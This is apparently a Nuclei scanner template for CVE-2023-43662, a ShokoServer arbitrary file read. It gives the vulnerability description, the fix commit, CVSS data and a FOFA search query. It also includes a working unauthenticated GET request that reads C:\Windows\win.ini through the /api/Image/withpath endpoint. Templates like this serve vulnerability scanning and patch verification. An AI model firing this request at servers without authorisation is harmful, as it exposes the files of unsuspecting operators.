ShokoServer is a media server which specializes in organizing anime. In affected versions the `/api/Image/WithPath` endpoint is accessible without authentication and is supposed to return default server images. The endpoint accepts the parameter `serverImagePath`, which is not sanitized in any way before being passed to `System.IO.File.OpenRead`, which results in an arbitrary file read.
PoC代码[已公开]
id: CVE-2023-43662
info:
name: ShokoServer System - Local File Inclusion (LFI)
author: pussycat0x
severity: high
description: |
ShokoServer is a media server which specializes in organizing anime. In affected versions the `/api/Image/WithPath` endpoint is accessible without authentication and is supposed to return default server images. The endpoint accepts the parameter `serverImagePath`, which is not sanitized in any way before being passed to `System.IO.File.OpenRead`, which results in an arbitrary file read.
impact: |
This issue may lead to an arbitrary file read which is exacerbated in the windows installer which installs the ShokoServer as administrator. Any unauthenticated attacker may be able to access sensitive information and read files stored on the server.
remediation: |
The `/api/Image/WithPath` endpoint has been removed in commit `6c57ba0f0` which will be included in subsequent releases. Users should limit access to the `/api/Image/WithPath` endpoint or manually patch their installations until a patched release is made. This issue was discovered by the GitHub Security lab and is also indexed as GHSL-2023-191.
reference:
- https://github.com/wy876/POC/blob/main/Ncast%E9%AB%98%E6%B8%85%E6%99%BA%E8%83%BD%E5%BD%95%E6%92%AD%E7%B3%BB%E7%BB%9F%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
- https://github.com/ShokoAnime/ShokoServer/commit/6c57ba0f073d6be5a4f508c46c2ce36727cbce80
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2023-43662
cwe-id: CWE-22
epss-score: 0.9137
epss-percentile: 0.99648
cpe: cpe:2.3:a:shokoanime:shokoserver:*:*:*:*:*:*:*:*
metadata:
verified: true
vendor: shokoanime
product: shokoserver
fofa-query: title="Shoko WEB UI"
tags: cve,cve2023,shoko,web-aui,lfi
http:
- method: GET
path:
- '{{BaseURL}}/api/Image/withpath/C:\Windows\win.ini'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
- type: word
part: content_type
words:
- "text/plain"
- type: status
status:
- 200
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